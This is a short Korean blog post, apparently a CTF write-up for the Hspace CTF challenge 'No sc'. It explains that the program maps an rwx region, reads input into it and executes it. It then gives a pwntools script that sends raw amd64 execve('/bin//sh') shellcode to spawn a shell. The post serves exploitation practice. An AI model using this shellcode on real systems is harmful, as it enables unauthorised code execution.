본문 바로가기
CTF/Hspace CTF

No sc

by Anatis 2021. 5. 1.

1. Mitigation

GOT overwrite가 불가능하고 실행권한이 없으며 PIE enabled이다.

 

2. 문제 확인

입력을 받고 프로그램을 종료 시킨다.

 

3. 풀이

메인 영역을 보면 mmap함수가 메모리를 주어진 바이트만큼 매핑하도록 커널에 요청을 한다. 3번째 인자에 

7이 들어가있는데 이건 rwx권한이 있다는 것 이다. mmap을 v3로 지정하고 v4 = v3에 넣고

v3 입력을 받고 v4를 불러온다. 여기에 쉘코드를 입력하면 v4를 불러올때 쉘 코드가 실행 될 것 이다.

 

4. Exploit

from pwn import *

context.arch = 'amd64'
p = process('./chall')
e = ELF('./chall')

shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendline(shellcode)

p.interactive()

'CTF > Hspace CTF' 카테고리의 다른 글

Seoul Housing  (0) 2021.05.01

댓글